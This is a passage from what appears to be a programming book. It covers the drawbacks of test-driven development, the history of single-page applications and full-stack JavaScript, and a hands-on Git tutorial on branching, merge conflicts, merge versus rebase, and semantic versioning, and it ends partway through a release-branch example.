• Slower initial development speed: TDD requires the product owner to create a specification document and for the developers to write the tests before any functional code is written. This means the end product will likely take more time to complete. This goes back to a recurring theme in this chapter: pay the price now, or pay the interest later. If you've been reading everything so far, it'll be obvious the first option is the better one.
• Legacy code: Many legacy code bases do not have tests, or the tests are incomplete; worse still, there may be insufficient documentation to understand what each function is designed to do. We can write tests to verify functionality that we know, but we cannot be certain that it'll cover all cases. This is a tricky one because TDD means you write your tests first; if you already have all the code, then it can't be TDD. If the code base is large, you may continue to fix bugs (documenting them as unit tests as you do so) while starting on a rewrite.
• Slow tests: TDD is only practical when the tests can be run quickly (within a few seconds). If the test suite takes a few minutes to run, then developers would not receive quick enough feedback for those tests to be useful.
  The simplest way to mitigate this issue is by breaking the code into smaller modules and running tests on them individually. However, some tests, such as large integration and UI tests, are inevitably slow. In these cases, you can run them only when the code is committed and pushed, probably by integrating them into a Continuous Integration (CI) system, which is something we will cover in Chapter 8, Writing Unit/Integration Tests.

Although I encourage you to incorporate TDD into your workflow, I should add a disclaimer that it is not a silver bullet. TDD does not magically make your code performant or modular; it's just one technique that forces you to design your system better, making it more testable and maintainable.

Furthermore, TDD induces a high initial cost, so there are a few cases where this investment is not advisable:

• Firstly, when the project is a Proof-of-Concept (PoC). This is where the business and developers are only concerned with whether the idea is possible, not about its implementation. Once the concept is proven to be possible, the business may then agree to approve additional resources for the proper development of this feature.
• Secondly, when the product owner has not defined clear requirements (or does not want to), or the requirements change every day. This is more common than you think, since many early startups are constantly pivoting to find the right market fit. Needless to say, this is a bad situation for the developer, but if you do find yourself in this situation, then writing tests would be a waste of time, as they may become obsolete as soon as the requirements change.

In this chapter, we've looked at technical debt, its causes, consequences, and ways to prevent it. Then, we introduced TDD as a process to avoid technical debt; we outlined its benefits, and how to implement it in your workflow. In Chapter 5, Writing End-to-End Tests and Chapter 6, Storing Data in Elasticsearch, we will cover in more depth the different types of tests (unit, integration, and E2E / acceptance tests).

Good code, whatever its definition, takes less time to write than bad code in the long run. It would be wise to realize this fact and have the discipline to build a strong foundation from the get-go. You can build a house on weak foundations, and it may stand for a hundred years, but build a skyscraper on a weak foundation, it'll come tumbling down quicker than you can imagine. 

avaScript has not traditionally been considered a backend language; that space belonged to the likes of Java, Python, C/C++, C#/.NET, PHP, Ruby and so on. JavaScript was just a 'toy language' that allowed web developers to add animation to websites in order to improve its aesthetics. But this all changed with the advent of Node.js. With Node.js, developers can now write JavaScript code that executes on the server, as well as the client. In other words, developers can now write both front and backend code using the same language!

This provides huge productivity benefits, as common code can now be shared across the stack. Furthermore, developers can avoid context switching between different languages, which often breaks concentration and reduces output.

It also led to the rise in Isomorphic, or Universal, JavaScript frameworks, such as Meteor. These types of frameworks allow you to write applications entirely in JavaScript that run on both the client and the server.

Here's what we'll cover in this chapter:

• Examining a short history on the evolution of the web application and its transition from the client-server model to Single-Page Applications (SPAs)
• Explaining the concept of Isomorphic JavaScript
• Exploring the benefits of using JavaScript across the entire stack

When you type a URL, such as www.example.com, into your browser, what actually happens? First, the browser would send a request to one of Example Corp's servers, which retrieves the resource requested (for example, an HTML file), and sends it back to the client:

The browser then parses the HTML, retrieves all the files the web page depends on, such as CSS, JavaScript, and media files, and renders it onto the page.

This scheme is known as the client-server model. In this model, most of the processing is handled server-side; the client's role is limited to simple and superficial uses, such as rendering the page, animating menus and image carousels, and providing event-based interactivity.

This model was popular in the 1990s and 2000s, when web browsers were not very powerful. Creating entire applications with JavaScript on the client side was unheard of, and those that had that requirement resorted to Java applets and Adobe Flash (and, to a certain extent, Microsoft Silverlight). However, over time, the computing power of personal devices, such as desktop computers, laptops, and smartphones increased dramatically, and this allowed browsers to handle more elaborate operations.

Between 2008 and 2009, Mozilla, the company behind Firefox, slowly introduced TraceMonkey, the first Just-in-time (JIT) compiler for JavaScript, in different versions of Firefox 3.x, starting with 3.1. Similarly, the V8 JavaScript Engine, which powers Chrome and Safari, and Chakra, which powers Internet Explorer and Edge, also included a JIT compiler.

Traditionally, the JavaScript engine uses an interpreter, which translates the JavaScript source code into machine code that your computer can run. The JIT compiler improved the performance of the engine by identifying blocks of code that are frequently run, compiling them, and adding them to a cache. When the same block of code needs to be run again at a later time, the JavaScript engine can simply run the cached, pre-compiled machine code, skipping the interpreter altogether. Needless to say, this is much faster and the JavaScript engine can execute more operations per unit time, greatly increasing performance.

Because of this increased performance, developers can now build feature-rich JavaScript applications that run on the browser. Google was the first major company to take advantage of this, when they released the first client-side web application framework—Angular - on 20 October 2010. Since then, many competitors have emerged, including Ember, React, and Vue.js, but Angular still remains relevant today.

Angular is a framework for building SPAs. Instead of delegating the bulk of the processing to the server, the client takes on most of the responsibility.

Let's take an e-commerce web application as an example. In the client-server model, when the server receives a request from the client, it will compose a fully-formed HTML and attach it as the payload of the response. If it needs data from the database, it will query the database and inject the data into an HTML template to produce the fully-formed HTML. The client, usually a browser, is then entrusted with the simple task of rendering the HTML onto the screen.

In the SPA model, the server would initially send the entire application, including any HTML, CSS, and JavaScript files, to the client. All the application logic, including routing, now resides on the client. Because of this, the client can update the UI of the application very quickly, as it does not need to wait for a response from the server. Whenever the client requires information it does not have, such as certain entries in the database, it will send a request to the server. The server would then respond with the raw data, usually presented in JSON format, and nothing else. It is then the client's job to process this information and update the UI appropriately. With SPAs, most of the logic is handled client-side; the server's job is simply to retrieve and send back data:

The SPA model has many benefits over the client-server model:

• It frees up the server to handle more requests, as requests are simpler to process.
• It allows the UI of the app to respond more quickly to user interaction because the UI does not need to wait for the server to respond before updating itself.

Nowadays, most web applications are built with an SPA framework. Tesla, Sony, Microsoft Support, Genius, Renault, Staples, Udemy, and Healthcare.gov are all websites built with Angular; Airbnb, Asana, BBC, Dropbox, Facebook, Lyft, Netflix, PayPal, and Uber all use React on their websites; although Vue.js is relatively new, several major Asian companies have already adopted it, such as Alibaba, Baidu, Tencent, Xiaomi, and Line.

However, everything has its drawbacks, and SPAs are no exception. The most obvious shortcoming of SPAs is that more code needs to be transferred at the beginning, which can increase the initial load time of the page. To counteract this deficiency, a technique called server-side rendering (SSR) can be employed.

With SSR, the initial page is processed and rendered on the server in the same way as the traditional client-server model. However, the returned HTML contains a tag that'll request the rest of the application to be downloaded at a later time, after the initial page has been successfully rendered. This allows us to improve the initial page load speed, whilst keeping all the benefits of the SPA. Furthermore, SSR is also useful for ensuring Search Engine Optimization (SEO) performance, as it helps web crawlers to quickly decipher how a page should look, without having to download all the assets.

SSR can be used alongside other techniques, such as code splitting and tree shaking, to reduce the size of the initial response payload, thus reducing the time-to-first-render (TTFR) and improving the user experience.

This is the state of the web application today. New web standards such as HTTP/2 and WebAssembly (a.k.a. Wasm) may all change how we approach building web applications in the near future. In the fast-moving world of front-end development, this SPA + SSR model may soon be superseded by a new paradigm.

JavaScript is the language of the browser. There's no denying that. Next, let's examine the reasons why a developer should pick Node.js as the back-end language for their application. Although there are many reasons, here we've boiled it down to two factors—context switching and shared code.

Context switching, or task switching, is when a developer is working on multiple projects, or in different languages, at the same time and has to switch between them regularly.

Programming is an activity that requires you to keep many variables in memory at the same time—variable names, interfaces of different modules, application structure and many more. If you switch to a different project, you'll have to dump the context of the current project and load in the context of the new project. The time required for this switch increases with the complexity of the project, and varies from one individual to the next, but can take anything from a few minutes to a few hours. This makes development extremely inefficient.

This is why, instead of multitasking, you should complete one project before moving on to another.

The same principle applies when switching between different programming languages. When switching between projects, you need to juggle between different contexts; when switching between languages, you need to juggle between different syntax, data structures, and ecosystems. To demonstrate, the following table illustrates some key differences between Python and JavaScript:

In addition to syntactical differences, different languages may also follow different paradigms—Elixir is a functional language, whereas Java is an object-oriented (OO) language.

Therefore, context-switching between different languages also makes the development process very inefficient.

From a business point of view, using different languages for the front- and back-end means they need to hire two different types of developer: JavaScript developers for the front-end and, say, Python developers for the back-end. If there's a large backlog in back-end tasks, front-end developers wouldn't be able to help (unless they also know Python). This makes resource allocation more difficult for project managers. But if everyone develops in JavaScript, then this problem becomes null.

Furthermore, using JavaScript for the entire stack makes the development process more efficient. Apart from the efficiencies gained by avoiding context switching, a single developer can now develop an entire feature from start to finish, as they can code both the front- and back-end.

As Node.js and SPAs have became more popular, more and more JavaScript libraries are being written every day. At the time of writing, over 775,000 packages are listed on npmjs.com, the de facto package manager for JavaScript. These include libraries for handling time and date (moment.js), utility libraries (lodash), and even a deep learning library (convnetjs).

npm packages were originally only meant to be installed and run by server-side Node.js; however, tools such as Browserify and Webpack allowed us to bundle these dependencies and send them to the client. Now, many npm packages can be used in both the front- and back-end.

Likewise, by using JavaScript across your entire stack, you can encapsulate common logic and use it across both environments. For example, authentication checks should be performed on both the server (for security reasons) as well as the client (to ensure performance by preventing unnecessary requests).

If JavaScript is used for front- and back-end code, then the code can be shared and reused. If, however, we use Python in the back-end, then the same logic must be duplicated in JavaScript. This violates the Don't Repeat Yourself (DRY) principle and makes our development process slower and more error-prone.

The project also becomes harder to maintain. Now, when we need to make changes to the code, we must update it twice, in two different languages, possibly across two different projects; both projects may also need to be deployed at the same time.

Therefore, using JavaScript in the front-end and Node.js in the back-end allows you to improve maintainability, reduce compatibility issues, and conserve manpower and development time.

In this chapter, we described the evolution of web applications from using the client-server model to SPAs, and how advances in JavaScript engines facilitated this transformation. Then, we discussed the benefits of using JavaScript across the stack, focusing on the topics of context switching and shared code.

In this book, starting from Chapter 4, Setting Up Development Tools, we're going to be building a very simple user directory, which we've randomly named hobnob. We need a way for us to keep a versioned history of our code, so that if we've made some mistakes along the way, we can simply revert back to the last known good version and start again from there. This is known as version control (VC).

The simplest way to implement version control is to copy the entire codebase into date-stamped directories; however, this is tedious and may take up a lot of disk space. Instead, we can use a Version Control System (VCS) that'll manage these versions for us. We simply have to instruct the VCS when to create a snapshot of our code, and it will keep that version.

There have been many implementations of VCS, starting in 1972 with Source Code Control System (SCCS), which was superseded by Revision Control System (RCS, released in 1982), Concurrent Versions System (CVS, released in 1990), and Apache Subversion (SVN, released in 2000). Nowadays, we mainly use Git (released in 2005), a type of VCS known as Distributed VCS (DVCS).

Git was created by Linus Torvalds, who's also the creator of the Linux kernel. It is used to track changes in the development of the Linux kernel, as well as the tens of millions of repositories currently on GitHub. In this chapter, we will guide you through setting up and configuring Git, as well as explaining basic Git concepts, such as:

• Different states in Git
• Basic Git operations such as staging, committing, merging/rebasing, pushing, and pulling
• Implementing a parallel development workflow using a branching model proposed by Vincent Driessen, commonly known as Git flow
• Setting up a GitHub account to host our code remotely
• Understanding the workflow when working with others

First, we must install Git.

Git is available for macOS, Windows, and Linux. You can find download instructions for Git at https://git-scm.com/downloads. Since we are using Ubuntu, the git package will be available from our distribution's package manager, Advanced Packaging Tool (APT). We should run sudo apt update to ensure that the list of repositories available to APT is up to date, before installing the git package:

$ sudo apt update
$ sudo apt-get install git

Git is now available as the git command-line interface (CLI).

Next, create a directory, named hobnob, to house our project. Then, navigate inside and run git init. This will allow Git to start tracking changes to our project; a project tracked by Git is also known as a repository:

$ mkdir -p ~/projects/hobnob
$ cd ~/projects/hobnob/
$ git init
Initialised empty Git repository in ~/projects/hobnob/.git/

Running git init creates a .git directory, which holds all version-control-related information about the project. When we interact with Git using its CLI, all it's doing is manipulating the content of this .git directory. We usually don't have to care about the contents of the .git directory, as we can interact with Git purely through the CLI.

We can configure Git using the git config command. This command will manipulate the .git/config file on our behalf. In fact, if we print the content of the .git/config file, you'll see that it is similar to the output of the git config command:

$ cd ~/projects/hobnob/
$ cat .git/config
[core]
    repositoryformatversion = 0
    filemode = true
    bare = false
    logallrefupdates = true

$ git config --list --local
core.repositoryformatversion=0
core.filemode=true
core.bare=false
core.logallrefupdates=true

To configure Git, we must first understand that there are three scopes, or levels, of configurations, each with a corresponding configuration file stored at different locations:

• Local: Applies only to the current repository; the configuration file is stored at <repository-root>/.git/config.
• Global: Applies to all repositories under the user's home directory; the configuration file is stored at $HOME/.config/git/config and/or at $HOME/.gitconfig, with the latter being only available in newer versions of Git. $HOME/.gitconfig will override $HOME/.config/git/config.
• System: Applies to all repositories in your machine; the configuration file stored at /etc/gitconfig.

The local configuration settings will override the global settings, which, in turn, override the system settings.

When we ask Git to take a snapshot of our code (also called committing), Git will record several pieces of information, such as the time and author of the commit. The information about the author is saved as Git configurations, which saves us from having to re-type them each time we commit.

By default, adding/updating the configuration would write to the local config file. However, since you are going to be the only person using your user account on your machine, it's better to set the user settings in the global configuration file:

$ git config --global user.name "Daniel Li"
$ git config --global user.email "dan@danyll.com"

This will cause future commits to be, by default, identified as "Daniel Li" whose email address is "dan@danyll.com".

We have now successfully set up Git and configured our user.

For the remainder of this chapter, we will use dummy files to illustrate how Git works and the workflow we will follow. Everything you do for the rest of this chapter should be viewed as an educational exercise, and can be discarded afterward. At the beginning of the next chapter, we will start our project again from scratch, and you will use the things you learned in this chapter to keep your code base's history organized!

The primary purpose of Git is to keep a history of changes, or revisions. To illustrate this, let's create a simple file and commit it to the history of the repository.

First, let's confirm our repository's Git history by running git log, which shows a history of past commits:

$ git log
fatal: your current branch 'master' does not have any commits yet

The error correctly informs us that there are currently no commits. Now, let's create a short README.md file, which represents the first change we want to commit:

$ cd ~/projects/hobnob/
$ echo -e "# hobnob" >> README.md

We've created our first file and thus made our first change. We can now run git status, which will output information about the current state of our repository. We should see our README.md file being picked up by Git:

$ git status
On branch master
Initial commit
Untracked files: (use "git add <file>..." to include in what will be committed)
 README.md
nothing added to commit but untracked files present (use "git add" to track)

The output tells us that we are on the default master branch (more on branching later), and that this is our initial commit—we have not committed anything to the repository yet. It then says we have untracked files. To understand what that means, we must understand the different states that a file can be in with Git.

In Git, every file can be in one of two generic states: tracked and untracked.

Initially, all files exists in the workspace (also known as working tree or working directory) and are in the untracked state. These untracked files are not part of the repository, and Git won't pick up changes made to them. When we run git status, Git sees that there are files in our workspace that are untracked (not part of the repository) and asks whether we want to add them to the repository. When we commit a new file to the repository using git add and git commit, it transitions from untracked to tracked:

$ git add README.md
$ git commit -m "Initial commit"
[master (root-commit) 6883f4e] Initial commit
 1 file changed, 1 insertion(+)
 create mode 100644 README.md

README.md is now part of the repository and is in the tracked state.

We can confirm this by looking at the Git commit history of the repository with the git log command:

$ git log
commit 9caf6edcd5c7eab2b88f23770bec1bd73552fa4a (HEAD -> master)
Author: Daniel Li <dan@danyll.com>
Date: Fri Dec 8 12:29:10 2017 +0000
    Initial commit

To be more precise, the tracked state can be further subdivided into three substates: modified, staged, and committed. Our README.md file is in the committed state.

Git will pay attention to all the tracked files; if we modify any of them (which includes deletions and renames), they will change their state from committed to modified:

$ echo "A very simple user directory API with recommendation engine" >> README.md
$ git status
On branch master
Changes not staged for commit:
  modified: README.md

Modified files, alongside any untracked files, will be listed when we run git status. Modified files can be committed in the same manner as untracked files:

$ git add README.md
$ git commit -m "Update README.md"
[master 85434b6] Update README.md
 1 file changed, 1 insertion(+)

You might be wondering why we had to run git add before we ran git commit. git add places the untracked or modified file into what is known as the staging area, which is also known as the index or cache. When a file is placed into the staging area, it is in the staged state. When we commit, only changes in the staging area are added to the repository; changes that remain in the workspace are not committed.

By having a staging area, we can git add multiple related changes and git commit them all at the same time—as a single commit. 

Here, the staging area acts as a temporary environment to collect these related changes. For example, if we add a new feature into our application, we should also document this in our README.md. These changes are related to each other and should be committed together:

$ echo "console.log('Hello World')" >> index.js
$ echo -e "# Usage\nRun \`node index.js\`" >> README.md
$ git add index.js README.md
$ git commit -m "Add main script and documentation"
[master cf3221a] Add main script and documentation
 2 files changed, 3 insertions(+)
 create mode 100644 index.js

Let's quickly summarize what we've learned so far:

• Workspace/working directory: All the files and directories currently in our filesystem
• Index/staging area/cache: All the modifications you want to commit
• Repository (the .git directory): Hosts a history of all your committed and tracked files

So far, we have been adding changes sequentially to the repository, resulting in a history with a linear structure. But what if you, or your team, want to work on different features/multiple tasks at the same time? If we continue with our current workflow, the Git commit history is going to look disjointed:

Here, we have commits relating to bug fixes interleaved between commits relating to features. This is not ideal. Git branches were created to deal with this issue.

As we've briefly mentioned, the default branch is called master, and we've been adding commits to this branch up to this point.

Now, when we develop a new feature or fix a particular bug, rather than adding those commits directory to master, we can instead create a branch from a certain commit from master. Any new commits to these bug fix and/or feature branches will be grouped together in a separate branch in the history tree, which does not affect the master branch. If and when the fix or feature is complete, we can merge this branch back into master.

The end result is the same, but the Git history is now much easier to read and understand. Furthermore, branches allow you to write and commit experimental code in an isolated part of the repository, so your changes, which may introduce new bugs and regressions, won't affect others until they have been tested and peer-reviewed.

The workflow we described is an example of a branching model, which is just a term that describes how you structure your branches. As you can imagine, there are many branching models, and most are more complex than the one we've outlined.

For this book, we will follow a branching model put forward by Vincent Driessen in his article A successful Git branching model, but you're free to explore other models and use the one that makes sense to you. The most important thing is that you and your team stick to the model consistently, so everyone on the team knows what is expected of them.

Driessen provided a detailed diagram of how his model works:

In Driessen's model, there are two permanent branches:

• dev (or develop, or development): The main branch that developers work on.
• master: Only production-ready code can be committed to this branch. Here, production-ready means the code has been tested and approved by the stakeholders.

There are also other non-permanent branches:

• Feature branches: Branching from the dev branch, feature branches are used for developing new features, or fixing non-critical bugs. Feature branches will eventually be merged back into the dev branch.
• Release branches: Once enough features or bug fixes havebeen implemented and merged into the dev branch, a release branch can be created from the dev branch to undergo more scrutiny before being released. For instance, the application can be deployed onto a staging server to be UI and manually tested. Any bugs uncovered during this process would then be fixed and committed directly to the release branch. Once the release branch is "free" of bugs, it can then be merged into the master branch and released into production. These fixes should also be merged back into the dev branch and any other release branches.
• Hotfix (or patch) branches: Hotfixes are issues (not always bugs) that are in production which must be fixed as soon as possible, before the next planned release. In these cases, the developer would create a branch from master, make the required changes, and merge directly back into master. These hotfix branches should also be merged back into the dev branch and any other release branches.

To implement the Driessen Model, we must first create the dev branch from the master branch. To check which branch we are currently on, we can run git branch --list or simply git branch:

$ git branch
* master

This returns a list of all branches, with an asterisk (*) next to the currently active branch, which is currently master. To create a new dev branch from the current branch, we can run git branch dev.

However, we are instead going to run git checkout -b dev master, which creates a new branch and makes it active at the same time:

$ git checkout -b dev master
Switched to a new branch 'dev'
$ git branch
* dev
  master

Any new features should be developed by branching off dev. Be sure to name the feature branch so that it clearly indicates the feature being worked on. For example, if you're working on the social login feature, name your branch social-login:

$ git branch
* dev
  master
$ git checkout -b social-login dev
Switched to a new branch 'social-login'

If that feature has sub-features, you may create sub-branches from the main feature branch. For example, the social-login branch may include facebook-login and twitter-login sub-branches.

There are multiple valid ways to name these sub-branches, but the most popular convention uses grouping tokens, with various delimiters. For example, our Facebook and Twitter login sub-branches can be grouped under the social-login grouping token, with a period (.) as a delimiter, and a sub-token such as facebook or twitter:

$ git checkout -b social-login.facebook social-login
Switched to a new branch 'social-login.facebook'
$ git branch
  dev
  master

  social-login
* social-login.facebook

You can use almost anything as a delimiter; the comma (,), hash (#), and greater-than sign (>) are all valid delimiters. However, there are several rules outlined under the git-check-ref-format part of the documentation that give valid reference names. For example, the following characters are unavailable: space, tilde (~), caret (^), colon (:), question mark (?), asterisk (*), and open bracket ([).

Most conventions I have encountered use a forward slash (/) as the delimiter, and so we do the same here. However, this poses a problem because branches are stored as text files under .git/refs/heads. If we create a sub-branch called social-login/facebook, then it'd need to be created at .git/refs/heads/social-login/facebook, but this is impossible in our case because the social-login name is already used for the file, and thus cannot act as a directory at the same time:

$ git checkout -b social-login/facebook social-login
fatal: cannot lock ref 'refs/heads/social-login/facebook': 'refs/heads/social-login' exists; cannot create 'refs/heads/social-login/facebook'

Therefore, when we create a new feature branch, we need to provide a default sub-token, such as main. With that in mind, let's delete our current feature branches and create them again with the main sub-token:

$ git checkout dev
$ git branch -D social-login social-login.facebook
$ git checkout -b social-login/main dev
$ git branch
 dev
 master
* social-login/main

We are now on the social-login/main feature branch, and can start developing our social login feature.

First, let's create that file and commit it to the social-login/main branch:

$ touch social-login.txt
$ git add -A && git commit -m "Add a blank social-login file"

Now, we are going to create a sub-feature branch and develop our Facebook login feature:

$ git checkout -b social-login/facebook social-login/main
$ echo "facebook" >> social-login.txt
$ git add -A && git commit -m "Implement Facebook login"

Now, do the same for the Twitter login feature, making sure to branch from the main feature branch:

$ git checkout -b social-login/twitter social-login/main
$ echo "twitter" >> social-login.txt
$ git add -A && git commit -m "Implement Twitter login"

We now have two sub-feature branches, one main feature branch, one dev branch, and our original master branch:

$ git branch
  dev
  master
  social-login/facebook
  social-login/main
* social-login/twitter

We have developed our Facebook and Twitter login features on two separate sub-feature branches; how can we get these changes back onto the master branch? Following the Driessen Model, we must merge the two sub-feature branches onto the main feature branch, then merge the feature branch into the dev branch, and then create a release branch off dev and merge that release branch into master.

To get started, let's merge the social-login/facebook branch into the social-login/main branch using git merge:

$ git checkout social-login/main
$ git merge social-login/facebook
Updating 8d9f102..09bc8ac
Fast-forward
 social-login.txt | 1 +
 1 file changed, 1 insertion(+)

Git will attempt to automatically merge the changes from the social-login/facebook branch into the social-login/main branch. Now, our branch structure looks like this:

$ git log --graph --oneline --decorate --all
* 9204a6b (social-login/twitter) Implement Twitter login
| * 09bc8ac (HEAD -> social-login/main, social-login/facebook) Implement Facebook login
|/ 
* 8d9f102 Add a blank social-login file
* cf3221a (master, dev) Add main script and documentation
* 85434b6 Update README.md
* 6883f4e Initial commit

Next, we need to do the same for our Twitter login sub-feature. However, when we attempt the merge, it fails due to a merge conflict:

$ git checkout social-login/main
$ git merge social-login/twitter
Auto-merging social-login.txt
CONFLICT (content): Merge conflict in social-login.txt
Automatic merge failed; fix conflicts and then commit the result.

A merge conflict occurs when the changes from the two branches being merged overlap each other; Git doesn't know which version is the most appropriate version to move forward with, and so it does not automatically merge them. Instead, it adds special Git markup into the file where the merge conflict occurs and expects you to manually resolve them:

<<<<<<< HEAD
facebook
=======
twitter
>>>>>>> social-login/twitter

The part between <<<<<<< HEAD and ======= is the version on our current branch, which is social-login/main; the part between ======= and >>>>>>> social-login/twitter is the version on the social-login/twitter branch.

We must resolve this merge conflict before the merge is complete. To do that, we simply need to edit the file to the version we want, and remove the Git-specific sequences. In our example, we want to add the text for twitter after facebook, so we would edit the file to become the following:

facebook
twitter

Now the conflict is resolved, we need to complete the merge by adding social-login.txt to the staging area and committing it:

$ git status
On branch social-login/main
You have unmerged paths.
Unmerged paths:
 both modified: social-login.txt

$ git add -A && git commit -m "Resolve merge conflict"
[social-login/main 8a635ca] Resolve merge conflict

Now, if we look again at our Git history, we can see that we've implemented the Facebook and Twitter login features on two separate branches, and then merged them together in a separate commit (the one with the hash 37eb1b9):

$ git log --graph --oneline --decorate --all
* 37eb1b9 (HEAD -> social-login/main) Resolve merge conflict
|\ 
| * 9204a6b (social-login/twitter) Implement Twitter login
* | 09bc8ac (social-login/facebook) Implement Facebook login
|/ 
* 8d9f102 Add a blank social-login file
* cf3221a (master, dev) Add main script and documentation
* 85434b6 Update README.md
* 6883f4e Initial commit

The example we went through previously is very simple and a bit contrived. In a more realistic working environment, the dev branch will be very active: there will be many feature/bug fix branches that stem from dev and ultimately merge back into it. To illustrate how that can cause issues, and to show you how those issues can be mitigated, we're going back to the dev branch to create another feature branch; let's call it user-schema/main:

$ git checkout -b user-schema/main dev
Switched to a new branch 'user-schema/main'

Now, let's add a file, user-schema.js, which represents the entirety of our user schema feature:

$ touch user-schema.js
$ git add -A && git commit -m "Add User Schema"
[user-schema/main 8a31446] Add User Schema
 1 file changed, 0 insertions(+), 0 deletions(-)
 create mode 100644 user-schema.js

Now, we can merge this feature branch back into dev:

$ git checkout dev
Switched to branch 'dev'
$ git merge user-schema/main 
Updating cf3221a..8a31446
Fast-forward
 user-schema.js | 0
 1 file changed, 0 insertions(+), 0 deletions(-)
 create mode 100644 user-schema.js

Our Git history tree now looks like this:

$ git log --graph --oneline --decorate --all
* 8a31446 (HEAD -> dev, user-schema/main) Add User Schema
| * 37eb1b9 (social-login/main) Resolve merge conflict
| |\ 
| | * 9204a6b (social-login/twitter) Implement Twitter login
| * | 09bc8ac (social-login/facebook) Implement Facebook login
| |/ 
| * 8d9f102 Add a blank social-login file
|/ 
* cf3221a (master) Add main script and documentation
* 85434b6 Update README.md
* 6883f4e Initial commit

If you're finding it hard to visualize the history, try using a Git client that visualizes the branches for you. For Mac and Windows, there's a free client by Atlassian called Sourcetree. If you're on Linux, you may want to try GitKraken. We will use GitKraken to illustrate the Git branch structure from here on. For example, the preceding figure looks like this on GitKraken: 

Now, we could merge our social-login/main branch back into dev, which will produce the following branch structure:

However, we should not do this because:

• Breaking changes: The implementation of the social login feature may depend on the user's schema being of a certain shape. Therefore, blindly merging the social-login/main branch may result in the platform breaking. The dev branch is the one that others will develop new features from, and so it should be kept bug-free at all times.
• Complicated Git history: The history tree is already quite hard to read, and we've only implemented two features!

The first issue can be tackled by merging the dev branch into social-login/main, testing that everything works as normal, and then merging it back into dev:

$ git checkout social-login/main
$ git merge dev
$ git checkout dev
$ git merge social-login/main

This way, any bugs that arise due to the incompatibility of the branches will remain on the feature branch, and not on dev. This gives us a chance to fix these bugs before merging back into dev.

While this solved one issue, it exacerbated the other. Our Git history now looks like this:

The reason our Git history looks so complicated is because git merge creates a separate commit for the merge. This is good because it doesn't alter the history of any of the branches; in other words, it is non-destructive:

To prevent the complicated history tree we have here, Git provides an alternative command, rebase, that allows us to merge changes, as well as keep our history clean.

With git rebase, instead of creating a new commit for the merge, it will try to place the changes on the feature branch as if they were made directly after the last commit on the main branch:

To see how we can work with rebase, let's repeat everything we've done so far, but using rebase instead of merge. Create a new directory and open your Terminal, then copy and paste the following commands (which will replicate everything we've done so far):

git init &&
echo -e "# hobnob" >> README.md &&
git add README.md && git commit -m "Initial commit" &&
echo "A very simple user directory API with recommendation engine" >> README.md &&
git add README.md && git commit -m "Update README.md" &&
echo "console.log('Hello World')" >> index.js &&
echo -e "# Usage\nRun \`node index.js\`" >> README.md &&
git add -A && git commit -m "Add main script and documentation" &&
git checkout -b dev master &&
git checkout -b social-login/main dev &&
touch social-login.txt &&
git add -A && git commit -m "Add a blank social-login file" &&
git checkout -b social-login/facebook social-login/main &&
echo "facebook" >> social-login.txt &&
git add -A && git commit -m "Implement Facebook login" &&
git checkout -b social-login/twitter social-login/main &&
echo "twitter" >> social-login.txt &&
git add -A && git commit -m "Implement Twitter login" &&
git checkout -b user-schema/main dev &&
touch user-schema.js &&
git add -A && git commit -m "Add User Schema" &&
git checkout dev &&
git merge user-schema/main

Our Git history tree now looks like this:

First, we can merge social-login/facebook into social-login/main. As no changes have been made on social-login/main since the branching occurred, it makes no difference whether we use git merge or git rebase:

$ git checkout social-login/main
$ git merge social-login/facebook

After our merge, there is now a change on the social-login/main branch since social-login/twitter branched out from it:

Here's where rebase is useful:

$ git checkout social-login/twitter
$ git rebase social-login/main
...
Auto-merging social-login.txt
CONFLICT (content): Merge conflict in social-login.txt
error: Failed to merge in the changes.
Patch failed at 0001 Implement Twitter login
The copy of the patch that failed is found in: .git/rebase-apply/patch

There's still going to be a merge conflict, and you should resolve it the same way as before. But this time, use git rebase --continue instead of git commit:

# Resolve merge conflict before continuing #

$ git add -A
$ git rebase --continue
Applying: Implement Twitter login

The difference is, this time, the git history for the social login feature is linear, as if the changes on the social-login/twitter branch were made straight after those on the social-login/main branch:

$ git log --graph --oneline --decorate --all
* da47828 (HEAD -> social-login/twitter) Implement Twitter login
* e6104cb (social-login/main, social-login/facebook) Implement Facebook login
* c864ea4 Add a blank social-login file
| * 8f91c9d (user-schema/main, dev) Add User Schema
|/ 
* d128cc6 (master) Add main script and documentation
* 7b78b0c Update README.md
* d9056a3 Initial commit

Next, we need to fast-forward the social-login/main branch to follow the social-login/twitter branch:

$ git checkout social-login/main
$ git merge social-login/twitter

This should produce a much cleaner branch structure:

Lastly, we can rebase our social-login/main branch onto the dev branch:

$ git checkout social-login/main
$ git rebase dev

Now, we have a completely linear commit history on the social-login/main branch, even though they all originated from different branches:

The last thing to do is to forward the dev branch to where the social-login/main branch is:

$ git checkout dev
$ git merge social-login/main

I might have given the impression that git rebase is cleaner, and thus better, than git merge. This is not the case; there are pros and cons for each method.

git rebase rewrites, or alters, the existing history of the repository by trying to replicate changes on the sub-branch at the end of the main branch. This makes the history look cleaner and more linear, but loses the context of when and where changes are integrated together – we lose the information that social-login/twitter was originally branched off from social-login/main.

So, I'd advise using git rebase for feature/bug-fix branches. This allows you to commit small and often, making work-in-progress (WIP) commits, without having to care too much about cleanliness. After your feature is complete, you can then clean up your commit history using git rebase, before merging into the permanent branches.

On the other hand, when integrating changes from a feature branch into the dev branch, or from the dev branch into master, use git merge because it provides context as to where and when those features were added. Furthermore, we should add a --no-ff flag to git merge, which ensures the merge will always create a new commit, even when fast-forwarding is possible.

By combining both git merge and git rebase, it is possible to end up with a nice Git history:

We can even delete some branches to make the history even cleaner:

$ git branch -D social-login/facebook social-login/twitter

The branch structure is now much simpler to comprehend:

We now have a sizable chunk of features that we can release. We should create a release branch from dev. This release branch should be named after the version of the release, prefixed by release/, such as release/0.1.0. The code to be released should then be deployed to a staging server, where automated UI testing, manual testing, and acceptance testing should be conducted (more on these later). Any bug fixes should be committed on the release branch and merged back into the dev branch. When the release branch is ready, it can then be merged into master.

So, the first question is how do we name/version our releases? For this project, we'll use semantic versioning, or semver.

In semver, everything is versioned with three digits, MAJOR.MINOR.PATCH, which start at 0.1.0 and are incremented as follows:

• Patch: After a backward-compatible hotfix
• Minor: After a backward-compatible set of features/bug fixes have been implemented
• Major: After a backward-incompatible change

We will be following semantic versioning for our releases.

Now, let's create our release branch and name it release/0.1.0:

$ git checkout dev
$ git checkout -b release/0.1.0

If this was a real scenario, we'd deploy the branch onto a staging server for it to be more thoroughly tested. For now, let's assume we have found a bug: the text for facebook and twitter inside social-login.txt should be capitalized to Facebook and Twitter. So, let's make that fix and commit it directly on the release branch:

$ git checkout release/0.1.0
$ echo -e "Facebook\nTwitter" > social-login.txt
